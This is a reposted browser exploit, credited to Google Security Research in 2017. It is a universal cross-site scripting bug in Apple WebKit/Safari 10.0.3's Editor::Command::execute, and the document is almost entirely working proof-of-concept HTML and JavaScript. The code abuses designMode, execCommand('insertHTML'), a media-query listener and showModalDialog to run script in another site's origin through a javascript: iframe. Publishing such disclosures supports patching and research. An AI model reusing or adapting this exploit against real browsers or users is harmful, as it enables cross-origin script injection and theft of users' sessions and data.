Apple WebKit / Safari 10.0.3(12602.4.8) - 'Editor::Command::execute' Universal C

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Apple WebKit / Safari 10.0.3(12602.4.8) - 'Editor::Command::execute' Universal C

来源：Google Security Research 作者：Google 发布时间：2017-05-31

<html>
<body>
Click Anywhere.
<script>

function sleep(ms) {
    let start = new Date();
    while (new Date() - start < ms) {

    }
}

window.onclick = () => {
    window.onclick = null;

    document.designMode = 'on';
    document.execCommand('selectAll');

    let f = document.body.appendChild(document.createElement('iframe'));
    let media_list = f.contentWindow.matchMedia("(max-width: 100px)");

    function listener() {
        let a = document.createElement('a');
        a.href = 'https://bugs.webkit.org/#quicksearch_top';
        a.click();

        sleep(1000);

        window.showModalDialog(URL.createObjectURL(new Blob([`
<script>
let it = setInterval(() => {
try {
    opener.document.x;
} catch (e) {
    clearInterval(it);

    setTimeout(() => {
        window.close();
    }, 2000);
}
}, 100);
</scrip` + 't>'], {type: 'text/html'})));
    }

    media_list.addListener(listener);
    document.execCommand('insertHTML', false, 'aaa<a-a></a-a><iframe src="javascript:alert(parent.location)"></iframe>');
};

</script>
</body>
</html>

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